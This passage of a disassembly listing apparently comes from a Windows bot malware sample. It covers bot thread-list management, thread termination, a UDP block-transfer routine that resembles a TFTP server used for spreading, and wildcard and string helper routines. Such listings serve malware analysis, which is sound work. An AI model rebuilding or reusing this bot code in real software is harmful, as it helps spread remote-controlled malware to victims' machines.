		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset dword_41DAD0
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_40A8F0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_404555
		add	esp, 14h


loc_40A8F0:				; CODE XREF: sub_40A573+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_403145
		pop	ecx
		jmp	loc_40A9FC
; ---------------------------------------------------------------------------


loc_40A902:				; CODE XREF: sub_40A573+2B6j
					; sub_40A573+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_41DABC
		push	edi
		call	dword_42B434	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_41DA94
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_403145
		add	esp, 14h
		jmp	loc_40A9FC
; ---------------------------------------------------------------------------


loc_40A948:				; CODE XREF: sub_40A573+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_40A9E6
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40A97F
		inc	al
		xor	cl, cl
		mov	[ebp+var_57D], bl
		jmp	short loc_40A987
; ---------------------------------------------------------------------------


loc_40A97F:				; CODE XREF: sub_40A573+3FEj
		inc	cl
		mov	[ebp+var_57D], cl


loc_40A987:				; CODE XREF: sub_40A573+40Aj
		mov	[ebp+var_57E], al
		push	ebx
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_40D488
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_40C410
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_42B434	; sendto
		cmp	edi, ebx
		jnz	short loc_40A9FC
		jmp	loc_40A8A6
; ---------------------------------------------------------------------------


loc_40A9E6:				; CODE XREF: sub_40A573+268j
					; sub_40A573+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_41DA88
		push	edi
		call	dword_42B434	; sendto


loc_40A9FC:				; CODE XREF: sub_40A573+204j
					; sub_40A573+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_40A71E


loc_40AA08:				; CODE XREF: sub_40A573+1B4j
		push	edi
		call	dword_42B468	; closesocket
		push	[ebp+var_8]
		call	sub_40C3BA
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40AA3C
		push	[ebp+var_170]
		call	sub_40AD6A
		pop	ecx
		push	ebx
		call	dword_417050	; ExitThread


loc_40AA3C:				; CODE XREF: sub_40A573+4B4j
		push	3E8h
		call	dword_417040	; Sleep
		push	esi


loc_40AA48:				; CODE XREF: sub_40A573+123j
		call	sub_40A573
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40A573	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA54	proc near		; CODE XREF: sub_401141+EDp
					; sub_401141+210p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_42CD60


loc_40AA5C:				; CODE XREF: sub_40AA54+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40AA70
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_47F740
		jl	short loc_40AA5C
		jmp	short loc_40AABB
; ---------------------------------------------------------------------------


loc_40AA70:				; CODE XREF: sub_40AA54+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_42CD60[esi]
		push	eax
		call	sub_40B110
		mov	eax, [esp+14h+arg_4]
		and	dword_42CF64[esi], 0
		and	dword_42CF68[esi], 0
		mov	dword_42CF60[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_42CF78[esi], 0
		mov	dword_42CF6C[esi], eax
		pop	esi


loc_40AABB:				; CODE XREF: sub_40AA54+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40AA54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AABF	proc near		; DATA XREF: sub_406BAB+30FAo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40AB11
		push	[ebp+var_14]
		call	sub_40AD6A
		add	esp, 14h
		push	0
		call	dword_417050	; ExitThread
		pop	edi
		pop	esi
sub_40AABF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB11	proc near		; CODE XREF: sub_40AABF+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_42CD60


loc_40AB3B:				; CODE XREF: sub_40AB11+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40AB7C
		cmp	[ebp+arg_C], 0
		jnz	short loc_40AB4F
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40AB7C


loc_40AB4F:				; CODE XREF: sub_40AB11+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_40B0B3
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 24h


loc_40AB7C:				; CODE XREF: sub_40AB11+2Dj
					; sub_40AB11+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_47F740
		jl	short loc_40AB3B
		pop	edi
		pop	esi
		leave
		retn
sub_40AB11	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB8F	proc near		; CODE XREF: sub_406BAB+2839p
					; sub_40AC17+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40AC11
		cmp	esi, 258h
		jge	short loc_40AC11
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_42CF74[esi]
		push	dword ptr [edi]
		call	dword_417100	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40ABC1
		inc	ebp


loc_40ABC1:				; CODE XREF: sub_40AB8F+2Fj
		mov	[edi], ebx
		lea	edi, dword_42CF68[esi]
		mov	dword_42CF60[esi], ebx
		mov	dword_42CF64[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40ABE2
		push	eax
		call	sub_405AA1
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB8F+4Aj
		mov	[edi], ebx
		lea	edi, dword_42CF6C[esi]
		mov	byte ptr dword_42CD60[esi], bl
		mov	byte_42CF78[esi], bl
		push	dword ptr [edi]
		call	dword_42B468	; closesocket
		lea	esi, dword_42CF70[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_42B468	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40AC11:				; CODE XREF: sub_40AB8F+Dj
					; sub_40AB8F+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40AB8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC17	proc near		; CODE XREF: sub_403B83+18p
					; sub_4054C7:loc_4054EBp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_42CD60


loc_40AC23:				; CODE XREF: sub_40AC17+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40AC34
		push	edi
		call	sub_40AB8F
		test	eax, eax
		pop	ecx
		jz	short loc_40AC34
		inc	ebx


loc_40AC34:				; CODE XREF: sub_40AC17+Fj
					; sub_40AC17+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_47F740
		jl	short loc_40AC23
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AC17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC49	proc near		; CODE XREF: sub_40ACDC+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_42CF64


loc_40AC5D:				; CODE XREF: sub_40AC49+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40AC7F
		test	edi, edi
		jle	short loc_40AC71
		cmp	[esi], edi
		jz	short loc_40AC71
		cmp	ebx, edi
		jnz	short loc_40AC7F


loc_40AC71:				; CODE XREF: sub_40AC49+1Ej
					; sub_40AC49+22j
		push	ebx
		call	sub_40AB8F
		test	eax, eax
		pop	ecx
		jz	short loc_40AC7F
		inc	[ebp+var_4]


loc_40AC7F:				; CODE XREF: sub_40AC49+1Aj
					; sub_40AC49+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_47F944
		jl	short loc_40AC5D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC96	proc near		; CODE XREF: sub_4010CA+Bp
					; sub_401141+2Cp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_42CF60


loc_40AC9D:				; CODE XREF: sub_40AC96+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40ACA6
		inc	eax


loc_40ACA6:				; CODE XREF: sub_40AC96+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_47F940
		jl	short loc_40AC9D
		retn
sub_40AC96	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_406BAB+2D40p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_42CF60
		push	esi


loc_40ACBF:				; CODE XREF: sub_40ACB5+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40ACD8
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_47F940
		jl	short loc_40ACBF
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40ACD8:				; CODE XREF: sub_40ACB5+10j
		mov	eax, edx
		pop	esi
		retn
sub_40ACB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACDC	proc near		; CODE XREF: sub_406BAB+3278p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40ACF5
		push	[ebp+arg_1C]
		call	sub_40C3AF
		pop	ecx


loc_40ACF5:				; CODE XREF: sub_40ACDC+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40AC49
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40AD21
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_40B0B3
		add	esp, 14h
		jmp	short loc_40AD3B
; ---------------------------------------------------------------------------


loc_40AD21:				; CODE XREF: sub_40ACDC+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_40B0B3
		add	esp, 10h


loc_40AD3B:				; CODE XREF: sub_40ACDC+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40AD5B
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h


loc_40AD5B:				; CODE XREF: sub_40ACDC+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_403145
		pop	ecx
		leave
		retn
sub_40ACDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AD6A	proc near		; CODE XREF: sub_40154B+1ABp
					; sub_401704+24Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_42CF74[eax], ecx
		mov	dword_42CF60[eax], ecx
		mov	dword_42CF64[eax], ecx
		mov	dword_42CF68[eax], ecx
		mov	dword_42CF6C[eax], ecx
		mov	dword_42CF70[eax], ecx
		mov	byte ptr dword_42CD60[eax], cl
		mov	byte_42CF78[eax], cl
		retn
sub_40AD6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADA7	proc near		; CODE XREF: sub_406BAB+3444p
					; sub_40AECF+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40AE09
; ---------------------------------------------------------------------------


loc_40ADB3:				; CODE XREF: sub_40ADA7+66j
		cmp	eax, 1
		jnz	short loc_40AE1A
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40AE1A
		cmp	cl, 2Ah
		jz	short loc_40ADF2
		cmp	cl, 3Fh
		jz	short loc_40ADD7
		cmp	cl, 5Bh
		jz	short loc_40ADDC
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40ADD7:				; CODE XREF: sub_40ADA7+22j
		inc	[ebp+arg_4]
		jmp	short loc_40AE05
; ---------------------------------------------------------------------------


loc_40ADDC:				; CODE XREF: sub_40ADA7+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40AE3B
		mov	esi, [ebp+arg_0]
		jmp	short loc_40AE03
; ---------------------------------------------------------------------------


loc_40ADF2:				; CODE XREF: sub_40ADA7+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40AECF
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40AE03:				; CODE XREF: sub_40ADA7+49j
		pop	ecx
		pop	ecx


loc_40AE05:				; CODE XREF: sub_40ADA7+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40AE09:				; CODE XREF: sub_40ADA7+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40ADB3
		jmp	short loc_40AE1A
; ---------------------------------------------------------------------------


loc_40AE11:				; CODE XREF: sub_40ADA7+76j
		cmp	eax, 1
		jnz	short loc_40AE36
		inc	esi
		mov	[ebp+arg_0], esi


loc_40AE1A:				; CODE XREF: sub_40ADA7+Fj
					; sub_40ADA7+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40AE11
		cmp	eax, 1
		jnz	short loc_40AE36
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40AE36
		cmp	byte ptr [esi],	0
		jnz	short loc_40AE36
		xor	eax, eax
		inc	eax
		jmp	short loc_40AE38
; ---------------------------------------------------------------------------


loc_40AE36:				; CODE XREF: sub_40ADA7+6Dj
					; sub_40ADA7+7Bj ...
		xor	eax, eax


loc_40AE38:				; CODE XREF: sub_40ADA7+8Dj
		pop	esi
		pop	ebp
		retn
sub_40ADA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE3B	proc near		; CODE XREF: sub_40ADA7+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40AE5C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40AE5C:				; CODE XREF: sub_40AE3B+19j
		push	ebx
		push	esi


loc_40AE5E:				; CODE XREF: sub_40AE3B+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40AE6C
		cmp	[ebp+var_4], eax
		jnz	short loc_40AEB4


loc_40AE6C:				; CODE XREF: sub_40AE3B+2Aj
		test	edi, edi
		jnz	short loc_40AEA9
		cmp	bl, 2Dh
		jnz	short loc_40AE9D
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40AE9D
		cmp	al, 5Dh
		jz	short loc_40AE9D
		cmp	[ebp+var_4], edi
		jnz	short loc_40AE9D
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40AEA9
		cmp	bl, al
		jg	short loc_40AEA9
		mov	[edx], esi
		jmp	short loc_40AEA6
; ---------------------------------------------------------------------------


loc_40AE9D:				; CODE XREF: sub_40AE3B+38j
					; sub_40AE3B+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40AEA9


loc_40AEA6:				; CODE XREF: sub_40AE3B+60j
		xor	edi, edi
		inc	edi


loc_40AEA9:				; CODE XREF: sub_40AE3B+33j
					; sub_40AE3B+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40AE5E
; ---------------------------------------------------------------------------


loc_40AEB4:				; CODE XREF: sub_40AE3B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40AEC1
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40AEC1:				; CODE XREF: sub_40AE3B+7Ej
		cmp	edi, eax
		jnz	short loc_40AECA
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40AECA:				; CODE XREF: sub_40AE3B+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40AE3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AECF	proc near		; CODE XREF: sub_40ADA7+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40AEFF
; ---------------------------------------------------------------------------


loc_40AEE9:				; CODE XREF: sub_40AECF+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40AEFA
		cmp	dl, 2Ah
		jnz	short loc_40AF0C
		cmp	dl, 3Fh
		jnz	short loc_40AEFD


loc_40AEFA:				; CODE XREF: sub_40AECF+1Fj
		inc	ecx
		mov	[edi], ecx


loc_40AEFD:				; CODE XREF: sub_40AECF+29j
		inc	dword ptr [esi]


loc_40AEFF:				; CODE XREF: sub_40AECF+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40AEE9
		jmp	short loc_40AF0C
; ---------------------------------------------------------------------------


loc_40AF09:				; CODE XREF: sub_40AECF+40j
		inc	eax
		mov	[esi], eax


loc_40AF0C:				; CODE XREF: sub_40AECF+24j
					; sub_40AECF+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40AF09
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40AF2E
		cmp	[eax], bl
		jz	short loc_40AF21
		xor	eax, eax
		jmp	short loc_40AF8B
; ---------------------------------------------------------------------------


loc_40AF21:				; CODE XREF: sub_40AECF+4Cj
		cmp	dl, bl
		jnz	short loc_40AF2E
		cmp	[eax], bl
		jnz	short loc_40AF2E
		xor	eax, eax
		inc	eax
		jmp	short loc_40AF8B
; ---------------------------------------------------------------------------


loc_40AF2E:				; CODE XREF: sub_40AECF+48j
					; sub_40AECF+54j ...
		push	ecx
		push	eax
		call	sub_40ADA7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF75


loc_40AF3B:				; CODE XREF: sub_40AECF+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40AF4D
; ---------------------------------------------------------------------------


loc_40AF41:				; CODE XREF: sub_40AECF+86j
		cmp	cl, 5Bh
		jz	short loc_40AF57
		cmp	dl, bl
		jz	short loc_40AF57
		inc	eax
		mov	[edi], eax


loc_40AF4D:				; CODE XREF: sub_40AECF+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40AF41


loc_40AF57:				; CODE XREF: sub_40AECF+75j
					; sub_40AECF+79j
		cmp	[eax], bl
		jz	short loc_40AF6C
		push	eax
		push	dword ptr [esi]
		call	sub_40ADA7
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AF71
; ---------------------------------------------------------------------------


loc_40AF6C:				; CODE XREF: sub_40AECF+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40AF71:				; CODE XREF: sub_40AECF+9Bj
		cmp	eax, ebx
		jnz	short loc_40AF3B


loc_40AF75:				; CODE XREF: sub_40AECF+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40AF88
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40AF88
		mov	[ebp+var_4], 1


loc_40AF88:				; CODE XREF: sub_40AECF+AAj
					; sub_40AECF+B0j
		mov	eax, [ebp+var_4]


loc_40AF8B:				; CODE XREF: sub_40AECF+50j
					; sub_40AECF+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AECF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF90	proc near		; CODE XREF: sub_401000+5Cp
					; sub_401000+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_40B044
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_40AFBA


loc_40AFAB:				; CODE XREF: sub_40AF90+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_40AFEB
		test	edi, 3
		jnz	short loc_40AFAB


loc_40AFBA:				; CODE XREF: sub_40AF90+19j
					; sub_40AF90+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_40AFBA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_40AFF8
		test	ah, ah
		jz	short loc_40AFF3
		test	eax, 0FF0000h
		jz	short loc_40AFEE
		test	eax, 0FF000000h
		jnz	short loc_40AFBA


loc_40AFEB:				; CODE XREF: sub_40AF90+20j
		dec	edi
		jmp	short loc_40AFFB
; ---------------------------------------------------------------------------


loc_40AFEE:				; CODE XREF: sub_40AF90+52j
		sub	edi, 2
		jmp	short loc_40AFFB
; ---------------------------------------------------------------------------


loc_40AFF3:				; CODE XREF: sub_40AF90+4Bj
		sub	edi, 3
		jmp	short loc_40AFFB
; ---------------------------------------------------------------------------


loc_40AFF8:				; CODE XREF: sub_40AF90+47j
		sub	edi, 4


loc_40AFFB:				; CODE XREF: sub_40AF90+5Cj
					; sub_40AF90+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_40B010
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40B05C
		jmp	short loc_40B02C
; ---------------------------------------------------------------------------


loc_40B010:				; CODE XREF: sub_40AF90+75j
					; sub_40AF90+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_40B04A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_40B040
		test	esi, 3
		jnz	short loc_40B010
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40B05C


loc_40B02C:				; CODE XREF: sub_40AF90+7Ej
					; sub_40AF90+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_40B040


loc_40B033:				; CODE XREF: sub_40AF90+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_40B042
		dec	ecx
		jnz	short loc_40B033


loc_40B040:				; CODE XREF: sub_40AF90+8Bj
					; sub_40AF90+A1j
		mov	[edi], cl


loc_40B042:				; CODE XREF: sub_40AF90+ABj
		pop	ebx
		pop	esi


loc_40B044:				; CODE XREF: sub_40AF90+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B04A:				; CODE XREF: sub_40AF90+85j
					; sub_40AF90+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B054:				; CODE XREF: sub_40AF90+E4j
					; sub_40AF90+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_40B02C


loc_40B05C:				; CODE XREF: sub_40AF90+7Cj
					; sub_40AF90+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40B054
		test	dl, dl
		jz	short loc_40B04A
		test	dh, dh
		jz	short loc_40B0A8
		test	edx, 0FF0000h
		jz	short loc_40B098
		test	edx, 0FF000000h
		jnz	short loc_40B054
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: sub_40AF90+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B0A8:				; CODE XREF: sub_40AF90+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0B3	proc near		; CODE XREF: sub_401000+19p
					; sub_401000+48p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_40D768
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40B0F3
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40B100
; ---------------------------------------------------------------------------


loc_40B0F3:				; CODE XREF: sub_40B0B3+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40D653
		pop	ecx
		pop	ecx


loc_40B100:				; CODE XREF: sub_40B0B3+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B0B3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B110	proc near		; CODE XREF: sub_401141+6Ep
					; sub_401141+9Fp ...

